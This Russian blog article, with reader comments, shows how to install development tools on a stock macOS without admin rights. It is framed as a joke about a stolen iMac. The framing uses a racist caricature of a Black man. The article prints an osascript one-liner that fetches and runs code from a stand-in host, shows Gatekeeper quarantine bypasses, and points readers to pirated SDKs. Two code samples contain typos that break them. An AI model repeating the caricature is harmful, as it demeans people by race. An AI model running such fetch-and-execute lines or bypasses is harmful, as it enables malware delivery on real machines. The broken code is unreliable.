Рассказываю и показываю что можно сотворить с iMac без прав администратора и установки стандартных средств разработки.

Невозможный скриншот, по мнению официальной техподдержки и обычных разработчиков под продукцию Apple.
Невозможный скриншот, по мнению официальной техподдержки и обычных разработчиков под продукцию Apple.

Тайны внутренних органов

Apple не очень любит внимание к внутренностям своих продуктов и мягко говоря не поощряет какие-либо изыскания в них, по поводу и без. Несмотря на то что уже была попытка раскрытия исходного кода ядра (довольно быстро остановленная), «userland» — пользовательское окружение всегда был и остается закрытым.

Книг и материалов по внутреннему устройству как «большой» MacOS так и мобильной iOS откровенно мало, а изложенная там информация сильно напоминает передачу «Поле чудес» реалии Microsoft Windows времен 90х:

недокументированные функции, непонятные сервисы, домыслы, мнения и догадки.

Разве что магических ритуалов при загрузке и восстановлении данных пока нет.

Поэтому изложенный материал потребовал многих лет практики и изучения MacOS, а описанное в статье не «гуглится» поисковиками и вообще мало афишируется широкой публике.

Что мы будем делать

Ниже я покажу несколько трюков связанных с разработкой ПО на абсолютно чистой пользовательской MacOS, без какого-либо установленного дополнительного инструментария и без прав администратора.

Последнее очень важно, поскольку права администратора нужны в MacOS практически для всего более-менее интересного:

изменения настроек ОС, установки нового ПО, доступа к некоторым каталогам и даже определенным действиям вроде записи экрана.

Представьте что вы — огромный негр с золотой цепью из Бруклина и только что отжали новенький iMac у какого‑то ботана. Доступ на рабочий стол есть (он автоматический), но пароля администратора вы не знаете. Но прежде чем толкать паль ближайшему скупщику ради денег на крэк, вы вдруг решили заняться разработкой ПО под MacOS.

С кем не бывает.

Главное не забудьте потом записать трек про вашу нелегкую жизнь и «вкатывание в ИТ» столь необычным способом.

(PR‑менеджер просил кейс использования — я предоставил)

Начало приключения: нулевая MacOS Sonoma, без какой-либо настройки за исключением фоновой картинки.
Начало приключения: нулевая MacOS Sonoma, без какой-либо настройки за исключением фоновой картинки.

Девственная среда

Ради этой статьи была развернута чистая копия последней «MacOS Sonoma» в виртуальной машине, с абсолютно стандартным набором пользовательского ПО. Именно такую систему вы получите при покупке свежего iMac в официальном магазине Apple в NY.

Для начала кратко пройдусь по возможностям MacOS и тому что в ней есть «из коробки». Начнем с двух самых важных для разработчика приложений: консольного терминала и текстового редактора.

Запускаются они с помощью Launchpad, путем ввода названий в строку поиска. Для запуска терминала вводите terminal, для текстового редактора edit.

Вот так выглядит запущенный терминал:

И редактор (c переключением вида на обычный текст):

MacOS это самый настоящий Unix, в котором есть практически все стандартные консольные утилиты: bash, grep, ps, top, pwd, uname и так далее — отличия от какой-нибудь современной Ubuntu минимальны, если не начать углубляться в детали.

Но к сожалению в чистой MacOS практически полностью отсутствуют средства разработки и вместо настоящих команд стоят заглушки, попытка вызова которых выдает вот такой стандартный диалог:

К счастью даже в установке MacOS по-умолчанию присутствуют два серьезных интерпретатора скриптовых языков: Perl и Tcl.

И кое-что еще, куда более мощное.

Perl

Оочень мощная штука, страшное оружие в умелых руках и доступная в любой MacOS практически с первых версий.

Разумеется это старая добрая 5я версия (да это шутка для посвященных):

Встроенный в MacOS Perl не совсем обычный — в нем сразу установлены модули Foundation и PerlObjCBridge, которые позволяют взаимодействовать с нативными приложениями на Objective‑C и API самой MacOS из скриптов на Perl.

Напоминаю, если кто-то из читателей не в курсе:

приложения на Objective-C взаимодействуют через специальные сообщения — события.

Поэтому благодаря этим модулям у вас появляется возможность влезть на этот праздник жизни из скриптов на Perl.

Для примера работа с нативными строками:

#!/usr/bin/perl

use Foundation;
    
$s1 = NSString->stringWithCString_("Hello ");
$s2 = NSString->alloc()->initWithCString_("World");
$s3 = $s1->stringByAppendingString_($s2);
printf "%s\n", $s3->cStri>cString();

А вот так выглядит получение имени хоста:

#!/usr/bin/perl
use Foundation;
$hostName = NSProcessInfo->processInfo()->hostName(); 
printf "%s\n", $hostName->cString();

К сожалению в этой версии нет поддержки работы с интерфейсом:

This version of PerlObjCBridge does not directly support writing GUI Cocoa applications in Perl.

Зато все остальное работает на ура, например вот такой классический HTTP-сервер:

#!/usr/bin/perl

use strict;
use warnings;

use CGI qw/ :standard /;
use Data::Dumper;
use HTTP::Daemon;
use HTTP::Response;
use HTTP::Status;
use POSIX qw/ WNOHANG /;

use constant HOSTNAME => qx{hostname};

my %O = (
    'listen-host' => '127.0.0.1',
    'listen-port' => 8080,
    'listen-clients' => 30,
    'listen-max-req-per-child' => 100,
);

my $d = HTTP::Daemon->new(
    LocalAddr => $O{'listen-host'},
    LocalPort => $O{'listen-port'},
    Reuse => 1,
) or die "Can't start http listener at $O{'listen-host'}:$O{'listen-port'}";

print "Started HTTP listener at " . $d->url . "\n";

my %chld;

if ($O{'listen-clients'}) {
    $SIG{CHLD} = sub {
        # checkout finished children
        while ((my $kid = waitpid(-1, WNOHANG)) > 0) {
            delete $chld{$kid};
        }
    };
}

while (1) {
    if ($O{'listen-clients'}) {
        # prefork all at once
        for (scalar(keys %chld) .. $O{'listen-clients'} - 1 ) {
            my $pid = fork;

            if (!defined $pid) { # error
                die "Can't fork for http child $_: $!";
            }
            if ($pid) { # parent
                $chld{$pid} = 1;
            }
            else { # child
                $_ = 'DEFAULT' for @SIG{qw/ INT TERM CHLD /};
                http_child($d);
                exit;
            }
        }

        sleep 1;
    }
    else {
        http_child($d);
    }

}

sub http_child {
    my $d = shift;

    my $i;
    my $css = <<CSS;
        form { display: inline; }
CSS

    while (++$i < $O{'listen-max-req-per-child'}) {
        my $c = $d->accept or last;
        my $r = $c->get_request(1) or last;
        $c->autoflush(1);

        print sprintf("[%s] %s %s\n", $c->peerhost, $r->method, $r->uri->as_string);

        my %FORM = $r->uri->query_form();

        if ($r->uri->path eq '/') {
            _http_response($c, { content_type => 'text/html' },
                start_html(
                    -title => HOSTNAME,
                    -encoding => 'utf-8',
                    -style => { -code => $css },
                ),
                p('Here are all input parameters:'),
                pre(Data::Dumper->Dump([\%FORM],['FORM'])),
                (map { p(a({ href => $_->[0] }, $_->[1])) }
                    ['/', 'Home'],
                    ['/ping', 'Ping the simple text/plain content'],
                    ['/error', 'Sample error page'],
                    ['/other', 'Sample not found page'],
                ),
                end_html(),
            )
        }
        elsif ($r->uri->path eq '/ping') {
            _http_response($c, { content_type => 'text/plain' }, 1);
        }
        elsif ($r->uri->path eq '/error') {
            my $error = 'AAAAAAAAA! My server error!';
            _http_error($c, RC_INTERNAL_SERVER_ERROR, $error);
            die $error;
        }
        else {
            _http_error($c, RC_NOT_FOUND);
        }

        $c->close();
        undef $c;
    }
}

sub _http_error {
    my ($c, $code, $msg) = @_;

    $c->send_error($code, $msg);
}

sub _http_response {
    my $c = shift;
    my $options = shift;

    $c->send_response(
        HTTP::Response->new(
            RC_OK,
            undef,
            [
                'Content-Type' => $options->{content_type},
                'Cache-Control' => 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0',
                'Pragma' => 'no-cache',
                'Expires' => 'Thu, 01 Dec 1994 16:00:00 GMT',
            ],
            join("\n", @_),
        )
    );
}

Совершенно спокойно работает на девственно чистой MacOS, без каких-либо дополнительных библиотек и установленных средств разработки:

Даже этой столь простой версии хватит чтобы создавать простейшие веб-приложения и воровать данные.

Tcl и Tk

Дедушка и бабушка современных скриптовых языков, ненавидимый лично Столлманом про который я успел написать отдельную статью.

Из интересного для пролетариев от разработки, не владеющих этим замечательным языком, отмечу, что в MacOS оно позволяет «из коробки» работать с интерфейсом — рисовать диалоги, кнопки, списки и так далее без установленных средств разработки, без каких‑либо внешних библиотек, SDK или компиляторов.

Вот так для примера выглядит простейший калькулятор:

Разумеется будут работать и все остальные возможности этого языка: работа с сетью, файлами, юникодом и всем прочим интересным. Но это цветочки, по сравнению с главной имбой для творения всякого необычного и нехорошего.

AppleScript

Начну с цитаты:

AppleScript — язык сценариев, созданный Apple и встроенный в macOS, используемой на компьютерах корпорации начиная с System 7.

И пусть вас не смущают слова «сценарий» и «команды выполнения», это на самом деле страшная штука в умелых руках.

Посмотрите на такой пример:

osascript -l JavaScript -i eval(ObjC.unwrap( $.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('https://evil.com/evil')),$.NSUTF8StringEncoding )) );

Тут все сразу хорошо для знающих и владеющих:

в одной строке происходит скачивание и немедленное выполнение командного кода с синтаксисом Javascript.

osascript — командный интерпретатор для сценариев AppleScript, ключ -l указание на синтаксис Javascript, -i это interactive mode, однострочный скрипт.

А NSString, NSData и NSURL — уже системные классы.

Вот так можно отправить стандартное оповещение из скрипта:

osascript -e 'display notification "" with title "test"'

Обратите внимание на синтаксис — это стандартный синтаксис AppleScript.

Результат выполнения выглядит вот так:

Но на самом деле все описанное — мелочи, специфичные инструменты, работать с которыми без внешних библиотек вообщем-то сложно и неприятно.

Поэтому мы переходим наконец к «большой разработке» и современному инструментарию.

Но прежде решим проблему с одной заразой, мешающей спокойной жизни и работе честных людей, на ворованном маке и без прав администратора.

Установка без доверенных источников

В последних версиях MacOS добавили хтоническую дичь под названием Gatekeeper:

macOS includes a technology called Gatekeeper, that's designed to ensure that only trusted software runs on your Mac.

The safest place to get apps for your Mac is the App Store. Apple reviews each app in the App Store before it’s accepted and signs it to ensure that it hasn’t been tampered with or altered. If there’s ever a problem with an app, Apple can quickly remove it from the store.

Как только вы попробуете скачать бинарник, скрипт или архив из интернета и запустить — увидите вот такое страшное предупреждение:

Работает оно через специальный атрибут, устанавливаемый на каждый скачанный файл:

К счастью данный атрибут легко и просто снимается командой:

 xattr -d com.apple.quarantine ./ld64.lld

После чего бинарник совершенно спокойно запускается без каких-либо ограничений:

Имейте ввиду что атрибут карантина ставится автоматически на все файлы внутри архива при распаковке если не был снят с самого архива. Поэтому необходимо снимать атрибут карантина с архива до его распаковки, а именно архивы мы и будем использовать далее, поскольку для нормальной установки ПО нужны права администратора.

Также здесь и далее я буду использовать архитектуру x86_64, как самую распространенную.

Если у вас совсем новый мак на M1 — в нем все равно обязательно будет поддержка x86_64 и бинарники под эту архитектуру будут запускаться.

Node.js

Открываете стандартный браузер Safari и скачиваете с официального сайта готовую бинарную сборку, версию в архиве (не инсталлятор), прямая ссылка для скачивания тут.

Safari считает себя умнее типичного пользователя (и не без оснований), поэтому частично распакует архив самостоятельно — после скачивания и вместо файла .tar.gz у вас будет просто.tar.

Снимаем атрибут карантина и распаковываем:

xattr -d com.apple.quarantine ~/Downloads/node-v20.11.1-darwin-x64.tar 
tar xvf  ~/Downloads/node-v20.11.1-darwin-x64.tar 

Запускаем bash и добавляем каталог с Node.js в переменную PATH:

export PATH=~/work/node-v20.11.1-darwin-x64/bin:$PATH

Проверяем что node доступна из окружения:

node -v

Команда выше должна успешно выполниться и отобразить версию установленной Node.js.

Также вместе с Node.js должен быть и пакетный менеджер NPM:

npm -v

Этого уже хватит для разработки какого-то простого приложения на Node.js, так что переходим к более серьезным вещам.

XPM

Вот про эту штуку вы точно не знали:

Based on a simple multi-version dependencies manager (built on top of npm), the xPack project aims to provide a set of cross-platform tools to manage, configure and build complex, modular, multi-target (multi-architecture, multi-board, multi-toolchain) projects, in a reproducible way, with an emphasis on C/C++ and bare-metal embedded projects.

Сие порождение сумрачного гения — пакетный менеджер, работающий поверх npm для нативных библиотек и инструментов разработки.

С помощью этой чудесной утилиты можно скачать и установить всю необходимую среду для нативной разработки на C/C++ под маком — без всяких XCode и прочей хтони.

Устанавливаем:

npm install --global xpm@latest

создаем тестовое окружение:

 mkdir testproj
 cd testproj
 xpm init

В результате появится новый пустой проект с файлом package.json внутри, в который затем будут добавляться зависимости.

Нативные зависимости.

Честно говоря не думал что доживу до того дня когда clang, cmake и gcc будут устанавливаться в виде пакетов NPM, но пришлось (проклятый здоровый образ жизни да):

Ставим:

xpm install @xpack-dev-tools/clang@latest --verbose

После выполнения появится каталог xpacks, внутри которого будет каталог .bin с всеми стандартными бинарниками, необходимыми для компиляции:

Добавляем его в переменную окружения PATH:

 export PATH=./xpacks/.bin:$PATH

Теперь наконец можно вызвать компилятор вместо заглушки, требующей в ультимативной форме установить XCode:

Но к сожалению одного только компилятора недостаточно для сборки чего-то работающего, нужны заголовочные файлы для стандартных функций вроде ввода-вывода.

Разумеется для нормальных людей они тоже поставляются вместе с XCode и в чистой MacOS отсутствуют начисто, в отличие от большинства линуксов или *BSD систем.

К счастью выход есть в виде (только не смейтесь) пиратских выкладок MacOS SDK на Github (!)

Чего только на свете не бывает, ей богу.

Я использовал для этой статьи версию заголовочных файлов взятую вот отсюда, но разумеется подобные репозитории регулярно зачищают. А широкие программисткие массы выкладывают по‑новой, поскольку это нужная вещь для автоматических сборок под MacOS, без приключений с кросс компиляцией и скачивания ~14Гб пакета XCode.

Ищутся такие репозитории очень простым запросом в поисковиках:

github macos sdk

Скачиваем архив, снимаем атрибут карантина и распаковываем:

 xattr -d com.apple.quarantine ~/Downloads/MacOSX13.3.tar.xz
 tar xvzf ~/Downloads/MacOSX13.3.tar.xz

На архиве в формате .xz у Safari заканчивается весь его интеллект, поэтому никакой автоматической распаковки не будет и архив останется как есть.

Открываем текстовый редактор (TextEdit), вводим вот такой простейший код на C:

#include <stdio.h>

int main()
{
    prinltlf("Йо-хо-хо и прощай XCode!\n");
    return 0;
}

Cохраняем файл как hello.c в каталог ~/work/testproj.

Компилируем:

clang hello.c  -I ./MacOSX13.3.sdk/usr/include  -L ./MacOSX13.3.sdk/usr/lib -D __i386__ -fuse-ld=lld -o hello

Обратите внимание на флаг -fuse-ld=lld — это указание на использование линковщика поставляемого с компилятором clang вместо системного ld, который находится в библиотеке binutils, которая (сюрприз) ставится только вместе с XCode.

Установка специальной переменной __i386__ также необходима, поскольку она используется в макросах заголовочных файлов, без ее указания сборка завершится с ошибками.

Запускаем собранный бинарник:

./hello

Убеждаемся что работает:

Прежде чем у меня все получилось, несколько раз попадал на сборки clang с неправильной версией линковщика — для другой архитектуры.

Чтобы обойти эту проблему, можно скачать готовый линковщик специально для x86_64 архитектуры из этого репозитория, снять атрибут карантина, распаковать и использовать при сборке:

clang hello.c  -I ./MacOSX13.3.sdk/usr/include  -L ./MacOSX13.3.sdk/usr/lib -D __i386__ -fuse-ld=lld --ld-path=~/Downloads/ld64.lld -o hello

Обратите внимание что ключ -fuse-ld=lld не может содержать полный путь, поэтому для его задания нужно использовать отдельный ключ:

--ld-path=~/Downloads/ld64.lld

На сладкое еще несколько инструментов для разработки.

Java

Куда же без нее родимой.

Разумеется официальную версию поставить не выйдет, поскольку она также поставляется в виде бинарного пакета, требующего установки в систему и прав администратора.

Зато есть OpenJDK и готовые бинарные сборки для MacOS:

 curl https://download.java.net/java/GA/jdk21.0.2/f2283984656d49d69e91c558476027ac/13/GPL/openjdk-21.0.2_macos-x64_bin.tar.gz --output jdk.tar.gz

Я же не забыл рассказать что в MacOS по-умолчанию есть утилита curl?

Тогда добавлю еще один интересный факт:

скачанные с помощью системного curl файлы не имеют атрибут карантина:

Поэтому распаковываем и спокойно запускаем, пока Gatekeeper не видит:

tar xvzf ~/jdk.tar.gz     
./jdk-21.0.2.jdk/Contents/Home/bin/java --version

Должна отобразиться версия сборки:

И дальше спокойно работаем с любыми Java-приложениями, без ограничений.

Git

Нормальный Git в MacOS также поставляется вместе с XCode, его нехватка для нормальной работы очень быстро станет очевидной и начнет мешать жить приличным джентельменам.

К счастью все же есть временное решение в виде реализации клиента Git на.. Javascript.

Называется эта штука isomorphic‑git, работает как в браузере так и в Node.js и несмотря на всю свою технологическую «еретичность» — позволяет вполне сносно работать, хотя‑бы для простейших задач скачивания проекта.

Устанавливается разумеется с помощью npm:

npm i -g isomorphic-git

Пример использования:

isogit clone --url=https://github.com/isomorphic-git/isomorphic-git --depth=1 --singleBranch

Как видите вместо старого доброго git тут используется скрипт isogit, с совпадающими аргументами.

Эпилог

Данная статья написана исключительно в исследовательских целях, не надо пожалуйста воровать чужие маки и насиловать их владельцев — дороже выйдет разгребать последствия.

Этой статьей я всего лишь хотел рассказать широкой аудитории, что под капотом их любимого гламурного серебристого девайса с яблоком на самом деле скрывается очень сложная и навороченная Unix‑система, которая легко и просто может быть использована как против своего владельца так и для не совсем хороших дел (например CI и эталонная среда выполнения в виртуальном MacOS).

Также надеюсь что статья поможет хотя‑бы некоторым MacOS‑разработчикам в понимании куда именно они попали и что их любимая серебристая ОС устроена несколько сложнее чем кажется, а я лично больше не услышу на собеседовании сакрального «а у меня все работает.»

P.S.

Это немного отцезурированная и доработанная версия статьи, оригинал которой доступен в нашем блоге.

0x08 Software

Мы небольшая команда ветеранов ИТ‑индустрии, создаем и дорабатываем самое разнообразное программное обеспечение, наш софт автоматизирует бизнес‑процессы на трех континентах, в самых разных отраслях и условиях.

Оживляем давно умершеечиним никогда не работавшее и создаем невозможное — затем рассказываем об этом в своих статьях.

Комментарии (17)


  1. Kristaller486
    28.08.2024 13:48
    +1

    Несмотря на то что уже была попытка раскрытия исходного кода ядра (довольно быстро остановленная)

    Исходный код ядра (и много чего еще) открыт и регулярно обновляется.


    1. alex0x08 Автор
      28.08.2024 13:48

      В курсе, но UI там все также нет.


    1. domix32
      28.08.2024 13:48

      А где вы ядро нашли?


      1. unreal_undead2
        28.08.2024 13:48
        +1

        https://opensource.apple.com/source/xnu/


        1. alex0x08 Автор
          28.08.2024 13:48

          С ядром все довольно интересно: собирается оно только из-под MacOS, только фирменным закрытым компилятором и устанавливается тоже только в MacOS.

          Со времен закрытия проекта Darwin не было даже попыток вставить это ядро в другое окружение, например от BSD.


          1. unreal_undead2
            28.08.2024 13:48

            Подозреваю, что там исходники только для того, чтобы почитать.


            1. Kristaller486
              28.08.2024 13:48

              Лицензия там настоящий Open Source, можно делать что хочешь.


              1. unreal_undead2
                28.08.2024 13:48

                Теоретически да, если сможете на их основе сделать что-то загружаемое - никто не запрещает )


  1. NickSin
    28.08.2024 13:48
    +7

    А так на маке можно даже в веб не ходить - ставить brew и ставим что душе угодно. Правда, там надо Xcode Command tools вставить, но это не требует скачки всего SDK. А все остальное можно уже доставить через brew


  1. anonymous
    28.08.2024 13:48

    НЛО прилетело и опубликовало эту надпись здесь


  1. asilzhan11
    28.08.2024 13:48

    Можете дать ссылку на обои


  1. i-Groove
    28.08.2024 13:48

    Киньте, пожалуйста, ссылку на обои с девушкой, которая на заставке к статье))


    1. TheOldGrouch
      28.08.2024 13:48

      занудно ну есть же Яндекс

      А конкретно эти обои, вангую, нейросеть генерировала.

      ЗЫ. а вообще Эльзу не узнать, это конечно пять


    1. aydahar
      28.08.2024 13:48

      Присоединяюсь к просьбе, хочется этот арт найти (поиском по картинке не нашёл)


      1. alex0x08 Автор
        28.08.2024 13:48

        Все эти арты результат работы нейросети, брались они с одного всем известного сайта (где оранжевый колобок с молнией на логотипе). На сайте есть архивы — в них все есть.

        Артов очень много, выкладывают их пачками, поэтому обои я больше не сохраняю и меняю для каждой статьи.


        1. aydahar
          28.08.2024 13:48

          Прошу прощения, но не знаю такой сайт. Поиск по "сайт на логотипе оранжевый колобок с молнией" тоже не дал результата. Намекните прозрачнее, пожалуйста )


  1. isden
    28.08.2024 13:48

    Без прав администратора можно скачать, например, idea от jetbrains, развернуть .app файл в ~/Applications , и там уже есть встроенный jdk. Можно брать и писать код.

    Но это все не очень важно, т.к. через Find My можно заблокировать этот гипотетически отжатый мак. Плюс "By default, the guest user account is disabled.".